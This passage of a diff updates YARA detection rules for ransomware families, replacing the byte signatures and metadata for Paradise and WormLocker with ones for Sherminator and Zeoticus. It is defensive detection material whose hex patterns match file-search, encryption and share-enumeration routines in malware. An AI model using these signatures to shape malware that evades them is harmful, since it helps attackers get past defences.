 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Paradise"
+		tc_detection_name = "Sherminator"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files = {
-            53 56 57 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 89 75 ?? 85 F6
-            0F 84 ?? ?? ?? ?? FF 75 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 56 FF
-            D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ??
-            ?? ?? 83 65 ?? ?? 8B 45 ?? 8B 74 85 ?? 8D 95 ?? ?? ?? ?? 85 F6 74 ?? 0F B7 02 83 F8
-            ?? 72 ?? 8D 48 ?? 83 F8 ?? 76 ?? 8B C8 0F B7 06 83 F8 ?? 72 ?? 83 F8 ?? 77 ?? 83 C0
-            ?? 3B C8 0F B7 02 75 ?? 66 85 C0 74 ?? 83 C2 ?? 83 C6 ?? EB ?? 0F B7 02 EB ?? 66 3B
-            06 1B C0 83 E0 ?? 40 EB ?? 33 C0 85 C0 0F 84 ?? ?? ?? ?? FF 45 ?? 83 7D ?? ?? 72 ??
-            8B 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 56 FF D7 83 C4 ?? F6 85 ??
-            ?? ?? ?? ?? 74 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 80 3D ?? ?? ?? ?? ?? 74 ?? BA
-            ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? EB ?? F6 85 ?? ?? ??
-            ?? ?? 74 ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            85 C0 75 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ??
-            ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? 53 FF 75 ?? FF D7 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ??
-            ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3
+		$enum_resources_p1 = {
+            55 89 E5 57 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24
+            ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ??
+            ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 54
+            24 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89
+            45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89
+        }
+		$enum_resources_p2 = {
+            45 ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45
+            ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? 8B 15 ??
+            ?? ?? ?? 8B 0D ?? ?? ?? ?? C1 E1 ?? 8D 1C 0A C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ??
+            ?? ?? ?? 89 03 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 00 85 C0 0F 84 ??
+            ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 50 ?? A1 ?? ?? ?? ?? 8B 0D ?? ??
+            ?? ?? C1 E1 ?? 01 C8 8B 00 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 10 89 D0 B9 ?? ?? ?? ?? 89 C3 B8 ?? ?? ?? ?? 89 DF F2
+            AE 89 C8 F7 D0 83 E8 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 83 C0 ?? A3 ?? ?? ?? ??
+            8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 83 E0 ?? 85 C0 74 ?? 8B 45 ?? C1 E0
+            ?? 89 C2 8B 45 ?? 01 D0 89 04 24 E8 ?? ?? ?? ?? EB ?? 90 83 45 ?? ?? 8B 45 ?? 39 45
+            ?? 0F 82 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ??
+            ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 90 90 8D 65 ?? 5B 5F 5D C3
         }
 		$encrypt_files_p1 = {
-            56 57 6A ?? BE ?? ?? ?? ?? 5F E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 56 E8 ?? ??
-            ?? ?? 83 C4 ?? 83 C6 ?? 4F 75 ?? 33 F6 39 75 ?? 74 ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 0F
-            B7 88 ?? ?? ?? ?? 56 56 51 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 59 89 4D
-            ?? 33 C0 8A 90 ?? ?? ?? ?? 88 90 ?? ?? ?? ?? 3B C6 75 ?? 33 C0 40 3B C1 72 ?? 68 ??
-            ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 5F 5E C9 C3 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15
+            55 89 E5 57 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 ?? ?? ?? ??
+            ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ??
+            ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45
+            ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01
+            D0 66 C7 00 ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ??
+            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89
+            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 89 55
+            ?? 83 7D ?? ?? 7F ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 77 ?? C7 44 24 ?? ?? ?? ?? ?? 8B
+            45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24
+            ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ??
+            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 45 ?? ?? ?? ?? ?? DF 6D ??
+            DD 5D ?? DD 45 ?? DD 05 ?? ?? ?? ?? DF E9 DD D8 76 ?? 8B 45 ?? 89 45 ?? EB ?? C7 45
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83
+            7D ?? ?? 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC
         }
 		$encrypt_files_p2 = {
-            53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB
-            53 53 8D 44 24 ?? 50 89 5C 24 ?? FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 44
-            24 ?? 50 FF D6 85 C0 75 ?? 89 5C 24 ?? 39 5C 24 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 0F B6 80 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
-            74 24 ?? E8 ?? ?? ?? ?? 59 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 53 53
-            53 53 C6 05 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 88 1D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 59 33 C0 88 98 ?? ?? ?? ?? 3B C3 75 ?? 33 C0 40 83 F8 ?? 72 ?? 6A ?? 5E
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 53 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 4E 75 ?? 8B 3D ??
-            ?? ?? ?? 81 C7 ?? ?? ?? ?? 6A ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 75 ?? 57 E8
-            ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
+            8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF
+            D0 C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 15 ??
+            ?? ?? ?? A1 ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? C7 04 24 ??
+            ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ??
+            ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ??
+            ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 04 24 ?? ?? ?? ?? A1
+            ?? ?? ?? ?? FF D0 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89
+            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04
+            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B
+            45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8
+            ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ??
+            ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83
+            7D ?? ?? 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44
+            24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45
         }
-		$http_remote_connection = {
-            53 56 57 FF 75 ?? 33 FF 8D 75 ?? 89 7D ?? E8 ?? ?? ?? ?? 59 89 7D ?? 57 57 57 FF 75
-            ?? 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 FF 75 ??
-            FF 75 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? 57
-            0F 95 C1 B8 ?? ?? ?? ?? 49 23 C8 03 C8 51 57 57 57 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 8B D8 3B DF 74 ?? 57 57 57 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33
-            F6 57 57 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C6 3B C7
-            75 ?? 89 7D ?? EB ?? 50 39 7D ?? 75 ?? E8 ?? ?? ?? ?? 59 EB ?? FF 75 ?? 6A ?? FF 15
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 C6 50 53
-            FF 15 ?? ?? ?? ?? 03 75 ?? 39 7D ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 7D ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9
-            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B
-            C9 C3
+		$encrypt_files_p3 = {
+            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC
+            ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 39 55 ?? 7F ?? 39 55 ?? 7C ?? 39
+            45 ?? 77 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ??
+            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 8B 55 ??
+            89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 29 45 ??
+            19 55 ?? 83 7D ?? ?? 0F 8F ?? ?? ?? ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 0F 87 ?? ?? ??
+            ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
+            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ??
+            ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0
+        }
+		$find_files_p1 = {
+            55 89 E5 57 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24
+            ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24
+            E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44
+            24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ??
+            89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 D0 C7 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F
+            84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F B6 95 ?? ?? ??
+            ?? 0F B6 05 ?? ?? ?? ?? 0F B6 D2 0F B6 C0 29 C2 89 D0 85 C0 0F 84 ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ??
+            89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83
+            E0 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ??
+            ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
+        }
+		$find_files_p2 = {
+            E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ??
+            89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8
+            ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D
+            50 ?? 8B 45 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ??
+            C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0
+        }
+		$find_files_p3 = {
+            89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04
+            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83
+            C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B
+            45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44
+            24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24
+            ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 EB
+            ?? 90 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ??
+            85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89
+            04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0
         }
 
 	condition:
-		uint16(0)==0x5A4D and $search_files and $http_remote_connection and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wormlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Zeoticus : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects WormLocker ransomware."
+		description = "Yara rule that detects Zeoticus ransomware."
 		author = "ReversingLabs"
-		id = "6d7b55b7-2e1b-56e0-950f-07a2d3fa17ae"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "483b20a4-2c16-5509-a503-2462a53d4d31"
+		date = "2021-03-19"
+		modified = "2021-03-19"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara#L1-L69"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "87a4f805de78d7e7dffb176302407453108ca01552c682aeee38f8d0201263c9"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Zeoticus.yara#L1-L90"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "adf42b96139ad98f4253f3eba2c4af1be9545825605e0851185cc15284d9e9a0"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32921,61 +34557,82 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wormlocker : TC_DETECTION MALICIOUS
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "WormLocker"
+		tc_detection_name = "Zeoticus"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$set_environment = {
-            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 20 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 13 ?? 11 ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-            11 ?? 17 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2A
+		$enum_shares_p1 = {
+            53 55 8B 2D ?? ?? ?? ?? 8B C1 56 57 8B 3D ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51
+            8D 4C 24 ?? 51 6A ?? 8D 4C 24 ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 74
+            ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 89 5C 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 39 73 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0
+            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? FF 33 8D 44 24
+            ?? FF 74 24 ?? 68 ?? ?? ?? ?? 50 FF D7 A1 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51
         }
-		$find_files = {
-            00 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 0C 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ??
-            ?? 0D 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 73 ?? ??
